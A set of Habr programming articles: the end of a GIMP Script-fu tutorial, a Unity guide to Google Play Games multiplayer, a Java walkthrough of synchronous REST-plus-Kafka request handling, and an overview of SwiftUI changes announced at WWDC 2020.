В первую функцию передается следующее. Первый аргумент — имя нашей функции, второй — отображаемое имя, третий — описание, четвертый — автор, пятый — сведения о копирайте, шестой — дата создания. Седьмой — типы поддерживаемых изображений (RGB, RGBA, GRAY, GRAYA, INDEXED, INDEXEDA).
Последующие аргументы являются необязательными. Они (кроме `SF-IMAGE` и `SF-DRAWABLE`) позволяют создать в окошке скрипта виджеты, такие как строчки, галки, слайдеры, спиннеры, выбор цвета, шрифта и многое другое, чтобы передать выбор пользователя в функцию. Упомянутый же `SF-IMAGE` передаст нам ссылку на текущее открытое изображение, а `SF-DRAWABLE` — на выбранный слой. Я не буду описывать все эти `SF-*`, их параметры вы можете посмотреть в таблицах [здесь](http://docs.gimp.org/en/gimp-using-script-fu-tutorial-first-script.html) (остальное читать не нужно, ибо кратко изложено в этой статье). А ещё советую поглядеть [вот эту картинку](http://habrastorage.org/storage/5c7a2650/636cce80/771e2ece/d1961ca1.png), чтобы понять, что же вам из этого понадобится (взял [отсюда](http://pingus.seul.org/~grumbel/gimp/script-fu/script-fu-tut.html)).
Окошко готово, осталось добавить его вызов в меню GIMP, что и делает вторая функция кода выше. Два аргумента: опять же, имя функции и путь к меню. Путь начинается с , если каких-то веток ранее не существовало, GIMP их добавит.
Ещё пример: если бы мы захотели написать скрипт, создающий изображение с заданными свойствами, мы бы убрали параметры `SF-IMAGE` и `SF-DRAWABLE` из первой функции, вместо `"RGB* GRAY* INDEXED*"` использовали бы пустую строку `""` (нам ведь не нужно открытое изображение, мы его создадим), а во второй функции изменили бы путь на что-то вроде `"/File/Create/Something"`.
Чтобы полюбоваться результатом, сохраним наше творчество в «`script-fu-readability.scm`» и обновим скрипты. Теперь откроем/создадим какое-нибудь изображение и выберем из меню наш скрипт.
#### **Написание кода**
Вот он, вожделенный момент! Но поспешу расстроить: ничего сложного тут нет. Совсем. Функции вы уже писать умеете. А всё, что вам может понадобиться от редактора, легко найти в обозревателе процедур. Нужна какая-то операция со слоями? Ищите по запросу «`layer`». Инвертировать изображение? Вам нужно что-то, содержащее «`invert`». И так далее.
Я сделаю только два замечания:* Очень неплохо бы заключить все действия, выполняемые скриптом, между функциями `gimp-image-undo-group-start` и `gimp-image-undo-group-end`, как это сделано ниже, чтобы пользователю не пришлось отменять каждое действие по-отдельности.
* Все функции GIMP возвращают результатом списки, независимо от количества данных в результате. Легко проколоться, ожидая, например, `layer`, а получая `(layer)`. Так что не забывайте делать `car` в таких случаях.
А теперь пример рабочего кода. Алгоритм я позаимствовал [отсюда](http://habrahabr.ru/blogs/algorithm/96432/) (спасибо [Killy](https://habrahabr.ru/users/killy/)).
```
(define (script-fu-readability inImage inLayer inRadius inHigh-input)
(let* (
(layer2 0)
)
(gimp-image-undo-group-start inImage)
(if (not (= (car (gimp-image-base-type inImage)) GRAY)) (gimp-image-convert-grayscale inImage))
(set! layer2 (car (gimp-layer-copy inLayer FALSE)))
(gimp-image-add-layer inImage layer2 -1)
(plug-in-despeckle RUN-NONINTERACTIVE inImage layer2 inRadius 0 -1 256)
(gimp-layer-set-mode layer2 DIFFERENCE-MODE)
(set! inLayer (car (gimp-image-flatten inImage)))
(gimp-invert inLayer)
(gimp-levels inLayer HISTOGRAM-VALUE 0 inHigh-input 0.1 0 255)
(gimp-image-undo-group-end inImage)
)
)
```
Имея под рукой браузер процедур, разобраться здесь несложно, если интересно.
#### **Пакетная обработка**
Куда-куда? Это ещё не всё. Думаете, мы столько проделали, чтобы написать какой-то несчастный скриптик, обрабатывающий одну картинку? Да руками было бы быстрее! Так что давайте заставим GIMP открыть все файлы из заданной папки, обработать, и сохранить в другую папку.
Самое приятное — чтобы приспособить нижеприведённый код делать нечто другое, достаточно заменить вызываемую им функцию на нужную, всё остальное не изменится (ну, разве что вы захотите сохраните файл в другое расширение).
Код частично позаимствован из [этого топика](http://habrahabr.ru/blogs/programming/25911/) (спасибо [Apostol](https://habrahabr.ru/users/apostol/)), но там он сохраняет файлы, затирая исходные. Функция `morph-filename` взята [отсюда](http://stackoverflow.com/questions/1386293/how-to-parse-out-base-file-name-using-script-fu).
```
(define (morph-filename orig-name new-extension)
(let* ((buffer (vector "" "" "")))
(if (re-match "^(.*)[.]([^.]+)$" orig-name buffer)
(string-append (substring orig-name 0 (car (vector-ref buffer 2))) new-extension)
)
)
)
(define (script-fu-batch-readability inInFolder inOutFolder inRadius inHigh-input)
(let* ((filelist (cadr (file-glob (string-append inInFolder DIR-SEPARATOR "*") 1))))
(while (not (null? filelist))
(let* ((filename (car filelist))
(image (car (gimp-file-load RUN-NONINTERACTIVE filename filename)))
(layer (car (gimp-image-get-active-layer image)))
)
(script-fu-readability image layer inRadius inHigh-input)
(set! layer (car (gimp-image-get-active-layer image)))
(set! filename (string-append inOutFolder DIR-SEPARATOR
(morph-filename (car (gimp-image-get-name image)) "png")))
(file-png-save2 RUN-NONINTERACTIVE image layer filename filename 0 9 0 0 0 1 0 0 0)
(gimp-image-delete image)
)
(set! filelist (cdr filelist))
)
)
)
```
#### **Заключение**
*Скрипт Readability вместе с пакетной версией можно скачать [здесь](http://dl.dropbox.com/u/5911114/script-fu-readability.scm) ([зеркало](http://pastebin.com/keEjM2xv)). Код прокомментирован, даже несколько излишне.*
Ещё раз напомню, что статья не претендует на полноту в широком смысле и рассчитана лишь на то, чтобы читатель мог сесть, вдумчиво прочитать, параллельно практикуясь, и начать создавать скрипты, решающие его задачи. Так, чтобы на это не ушло столько же времени, сколько требуется на более-менее качественное изучение языка.
Если вы прочитали статью до конца, то теперь вы умеете Script-fu не хуже меня. | https://habr.com/ru/post/111387/ | null | ru | null |
# Unity3D + Google Services: мультиплеер для вашего проекта на Android и iOS
В этой статье я хочу рассказать об использовании игровых сервисов Google в вашем приложении на Unity. На написание данного материала меня сподвигло достаточно большое количество проблем, встретившихся во время разработки нашего приложения, а также отсутствие каких-либо материалов на русском языке по этой теме. Да и собственно, на английском тоже. Описание использующегося плагина на гитхабе очень краткое и не дает ответа на возможные проблемы с работой сервисов. Думаю, здесь не стоит пояснять, что мультиплеер и рейтинги игроков зачастую повышают интерес пользователей, а следовательно и вашу возможную прибыль. А благодаря данной статье начинающие разработчики смогут начать использовать данные преимущества.
#### Плагин
Мы использовали бесплатный плагин [Play Games For Unity](https://github.com/playgameservices/play-games-plugin-for-unity). В нем содержатся библиотеки для работы с сервисами Google. Плагин включает в себя авторизацию пользователя в Google+, возможность использования достижений и рейтинга для игроков, облаков Google для хранения данных и организации мультиплеера как в реальном времени, так и в пошаговом режиме. Установка плагина не вызывает никаких трудностей: в Unity нужно выбрать импорт ассета (Assets->ImportPackage->CustomPackage) и в открывшемся окне выбрать ассет, находящийся в папке «current-build».
Далее вам нужно ввести id своего приложения: откройте появившийся выпадающий список «Google Play Games» и выберете пункт «Android Setup». Id приложения вы можете узнать в Google Developer Console. Он выдается после добавления нового приложения в «Игровые сервисы», вы можете видеть его рядом с названием вашей игры. После добавления id можно переходить непосредственно к коду.
Для инициализации плагина используйте следующий код:
```
// Подключаем необходимые библиотеки
using GooglePlayGames;
using UnityEngine.SocialPlatforms;
// Активирует платформу Google Play Games
PlayGamesPlatform.Activate();
```
PlayGamesPlatform.Activate(); достаточно вызывать лишь один раз после запуска вашего приложения. После инициализации вы можете получить доступ к платформе при помощи Social.Active.
Чтобы реализовать авторизацию пользователя используйте следующий код:
```
...
// Аутентификация пользователя:
Social.localUser.Authenticate((bool success) => {
// Код, выполняемый после удачной или неудачной попытки.
});
```
Переменная success принимает значения true при удачном входе и false, соответственно, при неудачном. В нашем случае при удачном входе вызывается метод загрузки необходимых данный пользователя из облака Google. И сразу же первая проблема, встретившаяся у нас на пути: метод вызывается, но при неудачной попытке не возвращает false, а следовательно авторизация не проходит и нет возможности при (!success) вызвать метод еще раз. Пришлось написать костыль, который вызывает метод с определенным интервалом, пока авторизация не пройдет (при условии, что пользователь подтвердил запрос на авторизацию перед этим).
После авторизации пользователя мы получаем возможность использовать сервисы Google.
#### Поднимаем мультиплеер
Кое-что из этого описано на гитхабе, кое-что на developers.google. Здесь я собрал полезную выжимку.
В плагине доступно 4 режима работы мультиплеера:
1. Создание комнаты со случайными игроками (быстрая игра)
2. Создание комнаты с экраном приглашения (позволяет приглашать в игру друзей из кругов Google+)
3. Обзор приглашений (позволяет видеть, кто из друзей в Google+ хочет пригласить вас в игру)
4. Приглашения по id (его рассматривать не будем, т.к. не использовали данный режим в нашем приложении; интересующиеся могут прочитать о нем по ссылке на Github)
Для того, чтобы облегчить работу со следующими функциями ваш класс должен наследоваться от интерфейса RealTimeMultiplayerListener.
###### Создать «быструю игру»/соединиться
Создается комната, куда набираются случайные оппоненты, или же происходит автоматическое присоединение к уже созданной комнате.
```
const int MinOpponents = 1, MaxOpponents = 3;
const int GameVariant = 0;
PlayGamesPlatform.Instance.RealTime.CreateQuickGame(MinOpponents, MaxOpponents, GameVariant, listener);
```
Очевидно, что минимальное и максимальное количество игроков определяется переменными MinOpponents, MaxOpponents. В нашей игре MaxOpponents = 1, это означает, что в мультиплеере у вас будет только один противник.
Если ваш класс наследуется от RealTimeMultiplayerListener, то вместо listener вам нужно написать this.
###### Создание комнаты с экраном приглашения
Почти идентично предыдущему. Игрок может пригласить друзей из Google+ или добавить случайных оппонентов.
```
const int MinOpponents = 1, MaxOpponents = 3;
const int GameVariant = 0;
PlayGamesPlatform.Instance.RealTime.CreateWithInvitationScreen(MinOpponents, MaxOpponents, GameVariant, listener);
```
###### Обзор приглашений
```
PlayGamesPlatform.Instance.RealTime.AcceptFromInbox(listener);
```
Откроется меню, в котором игрок может видеть свои приглашения из Google+.
###### Соединение с комнатой
Следующий метод позволяет показать пользователю загрузку во время создания или соединения с комнатой:
```
public void OnRoomSetupProgress(float progress) {
// (процесс загрузки отображается от 0.0 до 100.0)
}
```
В нашем случае мы просто выводим переменную progress.
Когда соединение с комнатой произошло удачно (или нет) вызывается следующий метод:
```
public void OnRoomConnected(bool success) {
if (success) {
// Выполняется при успешном соединении
// …можете начинать игру…
} else {
// Выполняется при неудачном соединении
// …сообщение об ошибке…
}
}
```
В нашей игре для каждой онлайн гонки препятствия генерируются рандомно, и соответственно их положение должно быть одинаково на обоих телефонах. При успешном подключении из списка участников выбирается хост и на его телефоне генерируются препятствия. После того как они сгенерировались, сразу же начинается передача сообщений с параметрами уровня на другой телефон, и как только принимающий телефон загрузил последнее препятствие, он отправляет сообщение о том что готов и игра начинается. Также передается порядковый номер, используемого космического корабля, чтобы на экране другого игрока отображалась верная модель. Более того передаются различные служебные переменные, необходимые для определения готовности всех необходимых для игры параметров.
###### id участников
Чтобы узнать id всех участников, включая ваш, вы можете использовать следующий код (может выполняться только после соединения с комнатой).
```
using System.Collections.Generic;
List participants = PlayGamesPlatform.Instance.RealTime.GetConnectedParticipants();
```
Для всех участников лист будет отсортирован одинаково.
Для того чтобы узнать свой Id воспользуйтесь следующим методом:
```
Participant myself = PlayGamesPlatform.Instance.RealTime.GetSelf();
Debug.Log("My participant ID is " + myself.ParticipantId);
```
###### Отправка сообщений:
Плагин поддерживает 2 типа сообщений, надежное и ненадежное. Надежное сообщение медленнее, но гарантирует доставку, ненадежное быстрее, но проверка доставки не осуществляется.
Для отправки надежного сообщения используется следующий код:
```
byte[] message = ....; // сообщение в формате byte[]
bool reliable = true;
PlayGamesPlatform.Instance.RealTime.SendMessageToAll(reliable, message);
```
Соответственно для ненадежного следует изменить переменную reliable на false. Сообщение отправится всем участникам комнаты, кроме вас.
Вы так же можете отправить сообщение конкретному участнику:
```
byte[] message = ...;
bool reliable = true;
string participantId = ...;
PlayGamesPlatform.Instance.RealTime.SendMessage(reliable, participantId, message);
```
Этим способом вы можете отправить сообщение сами себе, указав в participantId свой id.
Максимальная длина одного надежного сообщения – 1400 байт, ненадёжного 1168 байт.
Здесь также возникла проблема: даже если отправлять по одному сообщению за фрейм, то они не отправляются. Мы так и не выяснили с чем это связано, вероятно они просто не успевают формироваться (возможно кто-то в комментариях поправит меня). Поэтому был сделан счетчик фреймов и сообщения отправлялись через строго определенный интервал, измеряемый во фреймах. Тогда все стало работать великолепно. Во время игры наше приложение подразумевает постоянную отправку сообщений (координаты и угол поворота космического корабля), поэтому используются ненадежные сообщения, потому что скорость передачи выходит на первый план, а если пара пакетов и потеряется, то ничего страшного, при достаточно частой передаче человек практически не заметит этого. Но при присоединении игроков к комнате все отправляемые сообщения с параметрами участников и их кораблей являются надежными, так как отправляются только один раз и их значения критически важны для начала гонки.
Проверяем получение всех необходимых сообщений для начала игры:
Наконец-то после десятков билдов и тестов все начало работать:
###### Получение сообщений
Когда вы получаете сообщение, вызывается следующий метод:
```
public void OnRealTimeMessageReceived(bool isReliable, string senderId, byte[] data) {
// Обработка сообщения
}
```
Полученное сообщения полностью идентично отправленному, как по длине, так и по содержанию.
Так как в нашей игре используется множество различных сообщений (будь то координаты корабля, либо сообщение о выигрыше одно из участников и т.п.), чтобы понять какое сообщение принято, мы пошли на достаточно простой и очевидный шаг: первым байтом шло число, определяющее, что за сообщение и какой метод вызвать при его получении, а со второго байта начинались передаваемые данные.
###### События соединения
Если пользователь отключается от комнаты, вызывается следующий метод:
```
public void OnLeftRoom() {
// Возвращение в меню и показ сообщения об ошибке
// не вызывайте здесь PlayGamesPlatform.Instance.RealTime.LeaveRoom()
// вы уже вышли из комнаты
}
```
**Важно:** При сворачивании игры игрок отключается от комнаты. Возможно, для некоторых приложений это будет проблемой. Но в нашем случае сворачивание неминуемо привело бы к поражению, в виду специфики игры. Поэтому при отключении от комнаты одного из участников вызывается метод OnPeersDisconnected(), описанный далее.
Если кто-то подсоединяется или отсоединяется от комнаты, будут вызваны следующие методы.
```
public void OnPeersConnected(string[] participantIds) {
// реакция на появление нового участника
}
public void OnPeersDisconnected(string[] participantIds) {
// реакция на отсоединение участника
}
```
Участники могут коннектиться в любое время во время игры, если есть пустые слоты, и тут надо следить, чтобы участник не подсоединился после того, как игра уже началась. Можно сделать ожидание, пока все слоты не заполнятся и только тогда начинать игру.
В нашей игре при досрочном выходе одно из участников отправляется сообщение, определяющее победу соперника и игра заканчивается, а следовательно нужно вызвать нижеследующий метод.
###### Выход из игры
После того, как ваша игра окончена, вам нужно выйти из комнаты:
```
PlayGamesPlatform.Instance.RealTime.LeaveRoom();
```
После этого будет вызван OnLeftRoom().
#### Заключение
Надеюсь, наша статья будет полезна как для новичков, так и для более опытных Unity-разработчиков, не встречавшихся с организацией мультиплеера в своих проектах. Если будет интерес, напишу продолжение про использование данного плагина для работы с облаком Google, с которым тоже возникли трудности при разработке, а ответов на английском/русском языках, естественно, не было. | https://habr.com/ru/post/230377/ | null | ru | null |
# Synchronous Request-Response using REST and Apache Kafka
On one of the Innotech’s projects, we received a task to convert asynchronous requests into synchronous ones. Basically, the purpose was to integrate REST and Apache Kafka into the same request.
In more detail, we have two services that communicate with each other. Let’s call them A and B. Service A receives a request from a consumer for data that is stored in service B. Thus, service A sends a request for data to B in REST and waits for the response of this request in Kafka. The user is waiting for data until this response is received.
It appears to be a common problem, and the solution should be in Google or Stack Overflow. We managed to find the solution of a similar problem only in an existing library connecting two servers to Kafka. So the problem was solved using Java, Spring framework and a little IT-wit.
Problem Statement
-----------------
Before beginning implementation, we need to state the problem and understand what we have and what we want to achieve.
We have a *Client* service that will have one end-point. An end-point, in turn, will take a normal string, send it to the second service, and wait for the response in Kafka.
And we have the second service — *Server*. It will receive a REST string from the *Client* service, convert it to UpperCase and return in response by Kafka.
The *Client* service awaits for the response from the *Server*. The user will wait for the result until the response is delivered. Waiting for a response may take a long time. To avoid too high of latency, it is necessary to provide an interrupt timeout, e.g. 10 seconds. But this condition should not be necessary; we should be able to wait indefinitely for a response. But definitely not waiting for 7.5 million years, otherwise the response could be disappointing.
This is an example of how it works. The consumer sends a string to the *Client* service, e.g. “abc123”, and until the response from the *Server* service is delivered, they will be kept hanging. The response which will be returned to the consumer from the *Server* should be “ABC123”. If the wait time exceeds the timeout value, an HTTP code with a 504 (Gateway Timeout) error will be returned instead of the response.
Client Implementation
---------------------
I will only describe the main points. If you need the whole code, there is a link to the repository below.
**SenderReceiver Implementation**
The logic core is a `SenderReceiver` class implementation, which is responsible for the process's rest state until it receives data from the outside.
This class consists of two main methods: a `receive()` method is responsible for resting until data is received, and a `send()` method is responsible for receiving data and waking up the `receive()` method. To understand the current state of the thread, 1) whether resting or waiting (the `receive()` method), or 2) receiving and waking up (the `send()` method), we will create a `boolean` flag called `transfer` and initialize it using the `true` value.
```
private boolean transfer = true;
```
Now let’s implement the `receive()` method:
```
public synchronized void receive() {
while (transfer) {
if (timeout != 0 && start.before(new Date(System.currentTimeMillis() - timeout))) {
timeoutException = new TimeoutException();
Thread.currentThread().interrupt();
return;
}
try {
wait(timeout);
} catch (InterruptedException e) {
Thread.currentThread().interrupt();
}
}
Thread.currentThread().interrupt();
}
```
Since initially the flag `transfer = true`, the process goes into a standby mode until it is woken up by the `send()` method, or milliseconds set in `timeout` elapse.
If the `timeout` value is different from 0, it means that the thread interrupt mechanism by runtime has been set. To do this, we must compare the current time offset by this value with the start time of the thread. If this time is exceeded, we save `TimeoutException()` into a variable which is initially null (we’ll need it later), and terminate the thread. If the `transfer` flag becomes `false` and the thread has not finished waiting using a timeout, we will simply exit the loop and terminate the thread.
You can see that the `timeout` with a value of 0 is unique. If it is 0, the thread will wait indefinitely to wake up. After it is woken up and `transfer` changes to a `false` value, the thread will terminate.
Now, let’s implement the `send()` method:
```
public synchronized void send(final T data) {
transfer = false;
this.data = data;
notifyAll();
}
```
You can see that the `send()` method is quite simple. It receives data from outside, changes our `transfer` flag to `false`, saves the data, and wakes up all the threads that are hanging in `wait()`.
In fact, there is another important auxiliary method called `getData()` which either returns the data stored in `data`, or generates an error if the relevant variable is not null.
```
public T getData() throws TimeoutException {
if (Objects.nonNull(timeoutException))
throw timeoutException;
return data;
}
```
**SenderReceiverMap Implementation**
After we have implemented the mechanism of waiting for a response and waking up once it is delivered, we need to implement a class that will store a set of waits. This is necessary in order to link requests from the *Client* service with responses from the *Server* service. This way, a lot of users can “pull” our end-point simultaneously, and we will return each user the data they requested without getting mixed up. Let’s call this class `SenderReceiverMap`.
Obviously, the responses from the *Server* can be delivered in any order – it depends on the processing time of a particular request. For example, the processing time of one request may be 5 seconds, and of another may be 3 seconds. To be able to look for connections between the thread and the user’s request, we need to label them uniquely. To do this, we must enter an `id` of the request. To perform the search quickly, we need to use Map. Since we are working with threads, we need to use safe collections. Thus, we will get the following:
```
private final ConcurrentMap senderReceiverConcurrentMap;
```
As you can probably guess, `T` is an id type. It can be anything, such as an Integer, String, or UUID. I prefer UUID.
To add a new wait, we need to implement a method which will receive a pre-generated request `id` and which we will additionally `transfer` to the *Server* (more on this later) and timeout.
```
public Thread add(T id, Long timeout) {
SenderReceiver responseWait = new SenderReceiver(timeout);
senderReceiverConcurrentMap.put(id, responseWait);
Runnable task = responseWait::receive;
return new Thread(task);
}
```
`V` is a type of the message data. In our case, it is String. You can see that we create a `SenderReceiver` and add it to the collection with a relevant request id. Then we create a new `Thread()` and immediately return it, so that we can pause it until the data is delivered in the `send()` method of the `SenderReceiver` class.
We will also need methods that can return the required `SenderReceiver` from the `SenderReceiverConcurrentMap`, and check if there is `id` in the `SenderReceiverConcurrentMap`, and a method to remove a request from the `SenderReceiverConcurrentMap`. Review this implementation below, since there is nothing to comment on here.
```
public SenderReceiver get(T id) {
return senderReceiverConcurrentMap.get(id);
}
public Boolean containsKey(T id) {
return senderReceiverConcurrentMap.containsKey(id);
}
public SenderReceiver remove(T id) {
return senderReceiverConcurrentMap.remove(id);
}
```
**Implementing a Request for Data from the Server Service**
Now we will implement a request to the *Server* service via REST, and add its id to the collection together with the wait for the result.
```
public String get(String text) throws TimeoutException {
UUID requestId = UUID.randomUUID();
while (senderReceiverMap.containsKey(requestId)) {
requestId = UUID.randomUUID();
}
String responseFromServer = this.sendText(requestId, text);
System.out.println("REST response from server: " + responseFromServer);
Thread thread = senderReceiverMap.add(requestId, timeout);
thread.start();
try {
thread.join();
} catch (InterruptedException e) {
e.printStackTrace();
}
String responseKafka;
try {
responseKafka = senderReceiverMap.get(requestId).getData();
} catch (TimeoutException e) {
throw e;
} finally {
senderReceiverMap.remove(requestId);
}
return responseKafka;
}
```
As you can see, we receive a string from the user in this method. Next, we create a request `id` and send it together with the received string. We add the request together with its id to the collection of requests, and run the resulting `Thread`. At this step, the process will freeze until someone “pulls” the `send()` method from the `SenderReceiver` object, which can be found by a particular request `id`.
If someone calls the send() method and sends data to it, or the thread itself terminates via `timeout`, the method will continue to work. It calls `senderReceiverMap.get(requestId).getData()` which will return either `TimeoutException` or the data sent to the `send()` method. All we have to do is to remove the already-processed request from the collection and return the data we received.
**KafkaListener Implementation**
The information explained above makes clear that we only have to call the `send()` method from a particular `SenderReceiver` wait object that can be easily found by its `id`. Since we synchronize requests with `Kafka`, we should call this method when we receive the data from it.
```
@KafkaListener(topics = "${kafka.topic}", groupId = "${kafka.groupId}")
public void listenGroupFoo(ConsumerRecord> record) {
UUID rqId = this.getRqId(record.headers());
if (senderReceiverMap.containsKey(rqId)) {
SenderReceiver stringSenderReceiver = senderReceiverMap.get(rqId);
stringSenderReceiver.send(record.value().getData());
}
}
```
There is nothing complicated here either: from `headers` we obtain a request id required to obtain the relevant `SenderReceiver` from Map, which we will use to call the `send()` method.
As you can see, there is no need to use Kafka for synchronization; we can use any other thread as long as we have a request `id` and the data we want to return. For example, you could use a different message broker, or a totally different REST request. This is a flexible solution, because all you need to do is to call `send()`.
Server Service Implementation
-----------------------------
This is really very simple. Just don’t forget to change the `port` on which the *Server* service will run to ensure it will run simultaneously with the *Client* service. To do this, set the following parameter in the `application.properties`:
```
server.port=8888
```
**End-Point Implementation**
The *Server* service must have an end-point that receives data from the *Client* service and sends the result to Kafka linked with the request `id`.
```
@PostMapping("/test")
public String test(@RequestBody RequestDto request) {
Runnable runnable =
() -> {
System.out.println("Start requestId: " + request.getRequestId() + " text: " + request.getData());
try {
int sleepMs = ThreadLocalRandom.current().nextInt(0, 10000 + 1);
System.out.println("RequestId: " + request.getRequestId() + " sleep: " + sleepMs + "ms");
Thread.sleep(sleepMs);
} catch (InterruptedException e) {
e.printStackTrace();
}
kafkaMessageSender.send(request.getRequestId(), new KafkaMessage<>(request.getData().toUpperCase()));
System.out.println("End requestId: " + request.getRequestId());
};
Thread thread = new Thread(runnable);
thread.start();
return "Ok!";
}
```
This end-point takes a structure which contains `requestId` — a request `id` and `data` — the data needed to be processed. This is a string in our case. This end-point creates a separate thread, which doesn’t wait for a thread to terminate, but immediately returns an `“Ok!”` string via REST in response. In the thread, we emulate how hard the *Server* works. To do this, we randomly generate the number of milliseconds during which the thread will fall asleep, and after it wakes up it will send data (an uppercase string) to Kafka.
**Implementation of Sending a Message in Kafka**
Sending in Kafka looks like this:
```
public void send(final UUID requestId, final KafkaMessage message) {
ProducerRecord> record = new ProducerRecord<>(topic, message);
record.headers().add(new RecordHeader(RQ\_ID, requestId.toString().getBytes()));
ListenableFuture>> future = kafkaTemplate.send(record);
future.addCallback((success) -> { }, System.out::println );
kafkaTemplate.flush();
}
```
In the `headers`, we set a new `RQ_ID` header where we save a request `id`, and then we just call `send()` where we send the processed data.
This where the *Server* service stops.
Conclusions
-----------
In fact, you don’t have to use REST+Kafka in this solution. As you can see, the solution is universal, and this implementation can easily be changed to fit any interaction, whether it is REST+REST, or Kafka+Kafka, or even pigeon mail.
You can find a case study [here](https://github.com/graf4444/spring-rest-kafka-synchronous). | https://habr.com/ru/post/694292/ | null | en | null |
# SwiftUI 2020. Что изменилось?
Приветствую вас, жители Хабра и все интересующиеся разработкой под IOS. На связи Анна Жаркова, Senior iOS/Android разработчик компании [Usetech](https://usetech.ru)
Сегодня мы поговорим о тех изменениях и новшествах, которые нам представляет Apple на WWDC 2020. А именно про доработанную и даже переработанную версию фреймворка SwiftUI.
Эта технология для декларативной разработки приложений была представлен в прошлом году на WWDC 2019. Если вы с ней еще не работали, то рекомендую заглянуть [сюда](https://habr.com/ru/post/500194/)
Итак. Apple и их инженеры внимательно весь этот год следили за обзорами, статьями, решениями и комментариями от разработчиков-энтузиастов. В конце видео [«What's new in SwiftUI»](https://developer.apple.com/videos/play/wwdc2020/10041/) они выражают благодарность всем неравнодушным за помощь.
Теперь SwiftUI позиционируется как полноценный инструмент для разработки под разные платформы (от watchOS до macOS):
Причем разработку под разные платформы можно вести в едином проекте. В Xcode 12 появляется шаблон для упрощения создания такого решения:
Система создаст проект с Shared-блоком и платформенными таргетами, где вы можете добавлять что-то специфичное для конкретной платформы:
Может показаться, что где-то это вы уже видели ~~в Kotlin Multiplatform~~. Что ж, видимо, в этом году тренд на явное заимствование у конкурентов.
Итак, чтобы обеспечить функционирование на всех поддерживаемых платформах, инженеры Apple проделали огромную работу.
Расширили поддержку контролов. Теперь практически все контролы UIKit портированы на SwiftUI
Немаловажно, что в SwiftUI появляется аналог UICollectionView — LazyVGrid/LazyHGrid, использующий GridItem:
Кстати, в процессе работы над новым контролом Apple оптимизировали работу на UITableView/UICollectionView в UIKit.
Появились средства поддержки адаптивности в настройке параметров UI (размеры контролов, шрифт, отступы и т.п). Например, атрибут @ScaledMetric у настраиваемой величины:
Также расширили поддержку фреймворков на SwiftUI.
Теперь можно использовать их вместе с ViewState:
```
Map(coordinateRegion: <#T##Binding#>)
```
Добавили поддержку Document Based Apps, Widgets, App Clips. Последние 2 являются новыми фичами iOS SDK 14. Виджеты — практически аналог того, что было в Android.
Туториалы и видео работы с ними будут представлены вот-вот на WWDC 2020.
Появились и более масштабные изменения, связанные с производительностью, архитектурным подходом к созданию приложений и декларативным конструктором:
**1.** Оптимизирована работа с памятью. Memory Performance.
Это глобальное изменение для Swift 5.3 в целом. Переход внутри на структуры позволяет использовать передачу по значению вместо ссылок, тем самым сокращая размер кучи (heap), размер бинарников и времени на компиляцию.
Кстати, некоторые контролы в самом SwiftUI стали использовать Lazy подход. Например, те же списки и LazyVGrid/LazyHGrid(аналог UICollectionView). По идее, это должно убрать проблему с инициализацией View сразу. *Однако, пока еще ничего не было сказано про NavigationLink…* .
**2.** Использование DSL внутри блоков ViewBuilder.
Ура, теперь мы можем добавить if/else или switch-case в декларативных блоках в своих целях. Например, сделать фабрику Child View внутри родительского View. Или внутри NavigationView.
Это очень круто.
Также теперь можно проверять условие по @PropertyWrapper внутри блока:
```
@State private var isVisible = true
if isVisible == true {
Text("Hello") // Only rendered when isVisible is true.
}
```
**3.** Теперь можно создать приложение 100% на компонентах SwiftUI.
Да-да. Для этого Apple придумали, как обойтись без AppDelegate, SceneDelegate и UIHostingViewController.
С помощью аннотации [main](https://habr.com/ru/users/main/) и протоколов App, Scene вы сможете этого достичь:
```
@main
struct testmultiplatformApp: App {
@SceneBuilder var body: some Scene {
WindowGroup {
MailViewer()
}
Settings {
SettingsView()
}
}
}
```
[main](https://habr.com/ru/users/main/) сигнализирует, что это новая входная точка вашего приложения. Реализация протокола App обязательна. Обратите внимание на тип свойства body структуры App. В приложении может быть одна или несколько так называемых сцен, каждая из которых реализует протокол Scene. У каждой сцены есть свой root View и свой жизненный цикл. Если вы хотите использовать несколько сцен (как, например, в многооконном приложении), то необходимо поставить у body атрибут SceneBuilder. По сути это механизм инкапсуляции UISceneDelegate и его логики.
WindowGroup используется для создания единого полноразмерного экрана, как и UIWindow/UIWindowScene.
Однако, мы помним, что SwiftUI — это надстройка над UIKit. И UIKit остался внутри. Если мы запустим даже вот такое шаблонное приложение, то в иерархии View мы увидим:
И UIHostingViewController на месте, и UIWindowScene. Но внутри. Да, для инициализации это очень упрощает работу. Но продумали ли они решение, чтобы не пришлось возвращать в приложение UISceneDelegate с явным заданием всей навигационной структуры.
Отслеживание lifecycle сцены сокращается до метода:
```
public func onChange(of value: V, perform action: @escaping (V) -> Void) -> some Scene where V : Equatable
```
Вот так предлагают использовать данный метод для отслеживания перехода приложения в фоновое состояние:
```
///
/// Use this modifier to trigger a side effect when a value changes, like
/// the value associated with an ``SwiftUI/Environment`` key or a
/// ``SwiftUI/Binding``. For example, you can clear a cache when you notice
/// that a scene moves to the background:
///
/// struct MyScene: Scene {
/// @Environment(\.scenePhase) private var scenePhase
/// @StateObject private var cache = DataCache()
///
/// var body: some Scene {
/// WindowGroup {
/// MyRootView()
/// }
/// .onChange(of: scenePhase) { newScenePhase in
/// if newScenePhase == .background {
/// cache.empty()
/// }
/// }
/// }
/// }
///
/// The system calls the `action` closure on the main thread, so avoid
/// long-running tasks in the closure. If you need to perform such tasks,
/// dispatch to a background queue:
///
/// .onChange(of: scenePhase) { newScenePhase in
/// if newScenePhase == .background {
/// DispatchQueue.global(qos: .background).async {
/// // ...
/// }
/// }
/// }
///
/// The system passes the new value into the closure. If you need the old
/// value, capture it in the closure.
///
```
**4.** Изменение предлагаемой архитектуры для SwiftUI.
Видео-презентации еще не было, но судя по документации на сайте, это уже не MVVM, а MVI или Redux:
Да-да, обратите внимание на изменение связей.
Что ж, это еще одно подтверждение тренда на заимствование у конкурентов. Пока Google вдохновляются SwiftUI для новой версии JetPack Compose, Apple вдохновляются предложениями Google. Ну а факт заимствования у энтузиастов Apple и не скрывали. Статей, посвященных использованию именно Redux/MVI с SwiftUI, в сети очень много на разных языках еще с прошлого года: [ссылка](https://blog.scottlogic.com/2020/02/06/Exploring-SwiftUI-4-redux-bindable.html).
Как пример.
И это, конечно, далеко не все. Сессия в самом разгаре, интересное еще впереди. Но в принципе этого уже достаточно, чтобы понять, что меняется многое.
Не расстраивайтесь, если у вас были планы на работу с несовершенствами SwiftUi в прошлой реализации. По крайней мере, вы знаете базу и сможете перестроиться на новую версию.
В общем, присоединяйтесь к WWDC 2020. И ждите новых статей на Хабре)
**Ссылки**
